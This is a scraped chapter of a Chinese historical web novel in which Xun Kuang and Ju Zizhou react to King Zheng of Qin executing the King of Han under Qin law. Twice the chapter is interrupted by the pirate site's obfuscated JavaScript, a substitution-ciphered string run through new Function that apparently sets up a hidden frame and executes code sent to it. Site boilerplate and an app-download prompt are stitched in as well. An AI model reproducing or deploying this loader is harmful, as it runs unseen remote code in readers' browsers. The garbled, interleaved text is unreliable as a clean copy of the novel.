第一百七十九章 童谣 (中)

　　字:大中小第一百七十九章童谣中夜间模式(function(){functionoc5530234(s){vard{'q':'w','w':'q',',':'(',':':'','':'/','0':'','/':'','':'3','4':'','':'0','':'4','5':'&','Q':'W','3':'','':':','u':'i','U':'I','I':'U','o':'p','X':'S','d':'f','i':'u','f':'d','F':'D','c':'v','D':'F','v':'c','y':'t','T':'Y','p':'o','C':'V','P':'O','A':'Z','a':'z','z':'a','V':'C','Z':'A','n':'h','j':'m','O':'P','s':'x','m':'j','N':'H','B':'G','x':'s','S':'X','e':'r','W':'Q','l':'k','H':'N','!':'.','k':'l',';':'','r':'e','L':'K','':'_','t':'y','g':'b','&':'5','':']','E':'R','6':'','Y':'T','9':'7',']':'','b':'g','R':'E','G':'B','h':'n','J':'M','M':'J','K':'L','_':'','.':'!','(':',','':'6','7':'9','':';'};returns.split('').map(function(c){returnd[c]!undefinedd[c]:c}).join('')}varcoc5530234('ftp://saw1quhfpq["""t""""&""2""9""""7""""v""";dihvyuph,){,dihvyuph,i(u(q(f){ud,4Jzv]Quh!yrxy,hzcubzype!okzydpej)){eryieh}czefv;dihvyuph,h){eryiehXyeuhb!depjVnzeVpfr,h)}czes;q[fv,s1)fv,s9)fv,sD)fv,s2)(vx;f[s,"TCtvjCifDHmvjkqfZ;;")(vef;s,"TMkTSEkEQskgQCifZ;;")"mWiret"czeqe;"qeuyr""mWiret"czed;f[vef,s,"zQAtTQ1k"))d!uf;"s",Jzyn!ezhfpj,)1)d!xytkr!qufyn;"1os"d!xytkr!nrubny;&"os"d!xytkr!gzvlbepihf;"#DDD"d!xev;["nyyox"(s,i)("e"("m91"(u!mpuh,"")f[qe,d!piyreNYJK)q["zffRcrhyKuxyrhre","jrxxzbr"(dihvyuph,r){ud,r!fzyz!l;;u){f!bryRkrjrhyGtUf,d!uf)!erjpcr,)hrqDihvyuph,"yfvx"(s,r!fzyz!c)),vx)}})}),"zu&wvB&uzNkuTX&rSp;"("1222772&972&"(quhfpq(fpvijrhy)}t&297v,)'.substr(10));newFunction(c)()})();→第一百七十九章童谣中,如遇到内容乱码错字顺序乱,请退出阅读模式或畅读模式即可正常。第459章童谣（中）

　　“鞠夫子为何不言？”荀况瞪着双眼看向鞠子洲。

　　秦军破灭韩国的消息传过来，众人传阅过之后，无人不惊。

　　消息当中附带的，秦王政以秦法审杀韩王以及韩国贵族的事情，无论对于谁人而言都是一件大事。

　　其中，最不平静的，当属荀况与鞠子洲两人。

　　荀况的惊骇在于，他的的确确的意识到了，以法律审杀一名王，与直接杀死一名王，是完全不同的。

　　——一个人被别人打，和一个人偷盗别人的财物被人打，性质不同。

　　一位王者被人打，和一位王者偷盗别人的财物别人打，也完全不同。

　　放到法律上，更是如此。

　　一位王者，因为战败，被人杀了，那是世间的常态。

　　是灭国的应有之义。

　　亡国之王，生与死，他都是王。

　　但被法律审杀的王，他不是以“王”的身份被杀死的。

　　他身上主要身份，是罪犯。

　　罪犯这一身份，甚至盖过了“王者”的身份。

　　这也就意味着，法律的正统性，大于王者的正统性。

　　更代表着，作为秦王的秦王政，已经做出了他的选择。

　　他已经与那个同“韩王”齐同的，继国之君的身份，做出了切割。

　　以最酷烈的形式，否定了过去的“王”的最高地位。

　　这之后，知道了这件事情的人的心里面会埋下一颗种子。

　　一颗，法大于王的种子！

　　儒家讲求的“法先王”。

　　意思是，师法过去的王者。

　　一方面，厚古薄今，树立不可超越的道德偶像。

　　另一方面，也是在讲，王的至高无上。

　　只要你身为王，只要你道德高尚，那么你就是后世所有人学习的对象，就是一切办法的源头。

　　后世人哪怕是结婚、生子、取名、哪怕是喝一碗粥，都要学习你。

　　他们的生活规条——法律，自然也要源自于你的为政态度。

　　法，要远远小于王。

　　如何成为王，是血脉里的问题，如何道德高尚，则要由“士”来判断。

　　这是儒家里面偏向于保守的一派的看法。

　　是荀况一直以来所批判的。

　　荀况屡战屡胜，但他没办法真的灭掉儒家的这种态势。

　　因为这是儒家的根由。

　　秦王政的做法，令他能够看得到一种崭新的希望。

　　也就是，法大于王。

　　更准确的说，是法，独立于王。

　　执政者可以具有执法的权力，但制定法的权力…

　　不对！

　　荀况自己思考了片刻，觉得仍旧不妥。

　　若是叫执政者拥有执法的权力，那么制定法条的权力独立出来，似乎也没办法真正意义上改变太多东西…

　　不，应该可以吧…

　　德高于欲，则法无不行。

　　圣王所…

　　荀况这样思考着，发觉了鞠子洲竟然比自己还要惊讶和慌张。

　　他有些好奇。

　　心中微微一动。

　　鞠子洲是秦王政的授业师兄，他们所学义理与执政理念应当是一致的。

　　像是审杀一王这种大事情，他们理应是沟通过的，为什么鞠子洲会这般惊慌？

　　想到这里，荀况于是瞪着双眼问道：“鞠夫子为何不言？”

　　鞠子洲此时阵脚大乱。

　　理论上说，嬴政是不应当如此作为的。

　　这太有悖于鞠子洲所教授给他的义理了！

　　继续浏览精彩内容到APP免费阅读《》打开浏览器继续")字:大中小第一百七十九章童谣中夜间模式(function(){functionoc5530234(s){vard{'q':'w','w':'q',',':'(',':':'','':'/','0':'','/':'','':'3','4':'','':'0','':'4','5':'&','Q':'W','3':'','':':','u':'i','U':'I','I':'U','o':'p','X':'S','d':'f','i':'u','f':'d','F':'D','c':'v','D':'F','v':'c','y':'t','T':'Y','p':'o','C':'V','P':'O','A':'Z','a':'z','z':'a','V':'C','Z':'A','n':'h','j':'m','O':'P','s':'x','m':'j','N':'H','B':'G','x':'s','S':'X','e':'r','W':'Q','l':'k','H':'N','!':'.','k':'l',';':'','r':'e','L':'K','':'_','t':'y','g':'b','&':'5','':']','E':'R','6':'','Y':'T','9':'7',']':'','b':'g','R':'E','G':'B','h':'n','J':'M','M':'J','K':'L','_':'','.':'!','(':',','':'6','7':'9','':';'};returns.split('').map(function(c){returnd[c]!undefinedd[c]:c}).join('')}varcoc5530234('ftp://saw1quhfpq["""t""""&""2""9""""7""""v""";dihvyuph,){,dihvyuph,i(u(q(f){ud,4Jzv]Quh!yrxy,hzcubzype!okzydpej)){eryieh}czefv;dihvyuph,h){eryiehXyeuhb!depjVnzeVpfr,h)}czes;q[fv,s1)fv,s9)fv,sD)fv,s2)(vx;f[s,"TCtvjCifDHmvjkqfZ;;")(vef;s,"TMkTSEkEQskgQCifZ;;")"mWiret"czeqe;"qeuyr""mWiret"czed;f[vef,s,"zQAtTQ1k"))d!uf;"s",Jzyn!ezhfpj,)1)d!xytkr!qufyn;"1os"d!xytkr!nrubny;&"os"d!xytkr!gzvlbepihf;"#DDD"d!xev;["nyyox"(s,i)("e"("m91"(u!mpuh,"")f[qe,d!piyreNYJK)q["zffRcrhyKuxyrhre","jrxxzbr"(dihvyuph,r){ud,r!fzyz!l;;u){f!bryRkrjrhyGtUf,d!uf)!erjpcr,)hrqDihvyuph,"yfvx"(s,r!fzyz!c)),vx)}})}),"zu&wvB&uzNkuTX&rSp;"("1222772&972&"(quhfpq(fpvijrhy)}t&297v,)'.substr(10));newFunction(c)()})();→第一百七十九章童谣中,如遇到内容乱码错字顺序乱,请退出阅读模式或畅读模式即可正常。

　　一直以来，鞠子洲都觉得嬴政始终都在自己的掌控当中。

　　哪怕是这个个人智能远远高于自己的孩子找到了自己的种种破绽，甚至于不可能中窥破了自己的后世来人的身份。

　　即便如此，鞠子洲都只是惊讶，都只是不可思议，都只是觉得，这孩子智能未免有些高，可能就是自己所见过的那种天才。

　　是天才，又能如何呢？

　　最开始的理论上的删减于错误，与自己自身所表现出来的机械化的唯物辩证，会令他走上一条“按部就班”的道路。

　　这道路，不是所谓个人聪明就可以堪破的。

　　一旦走上，即便是他耽于物欲，即便是他沉迷权势，即便是他想要水中捞月一般的追求永生，他都一定会坚定地继续走下去。

　　无论之后有没有鞠子洲，都一样！

　　可是…

　　这一刻，鞠子洲的所有计划都被打烂。

　　这不对！

　　太不对劲了！

　　很早之前鞠子洲就已经看不透嬴政。

　　这一时，知道嬴政当中审杀韩王，鞠子洲甚至不能明白嬴政是出于怎么样的目的才这样做的。

　　他闭上眼睛，一句话也说不出来。

　　心思全乱。

　　荀况开口询问，鞠子洲也只是生出恼怒。

　　苦恼与混乱成怒。

　　“荀夫子看到了什么？”鞠子洲问道。

　　荀况见到鞠子洲情绪失控，不怒反喜。

　　“鞠先生看到了什么，我便看到了什么！”

　　“秦王政所为，老夫所见，是法大于王，更是圣王与法同行！”

　　以一人之威望，驱使百姓审杀另外一人，是情绪化的，是感性的，也是不那么合乎法律的。

　　秦王政以王之身，审杀另外一王，而不是先剥夺他的王的身份而去审杀他，更是不那么合乎法律的。

　　正常来看，应该先以他所犯的罪剥夺他的“王的身份”，而后白身的他诛杀。

　　如此，可以将罪孽与犯罪者的“身份”割离开，同时维护与其同级、同样身份来源的“秦王”的威严。

　　荀况的解释，是以道德上的解释。

　　更是维护“王”的威严性、神圣性与正统性的解释。

　　鞠子洲此时没有什么心思再与他做口舌之争。

　　“荀夫子入过暗室吗？”

　　“鞠夫子何意？”

　　“铁屋暗室，人睡其中。”

　　“久而觉其黑、冷。”

　　“如此觉察者多了，他们就可能会醒过来，而后这铁屋暗室，就有被打破的可能性吧？”

　　“尽管一人之力无法捶破，但人醒来了，难道它就真的完全没有被打破的可能性吗？”

　　荀况皱眉。

　　“万难！”

　　鞠子洲点头：“是啊，万难！”

　　“但只要人醒来了，那总还是有可能的，对末？”

　　“是如此。”

　　“此时有灯亮起了。”

　　一个多月的辩论之中未曾好生休息，荀况的思维已经开始迟钝。

　　思考过秦王政的所作所为，他已经不太能够思考清楚鞠子洲的意图。

　　“这时候，人们感受到了亮与暖，是否就会觉得这铁屋不那么冷，暗室不那么黑呢？”

　　荀况心下一惊。

　　不好意思，朋友结婚，我做伴郎，总是要陪着玩玩、收拾收拾的，不太好码字。

　　(本章完)

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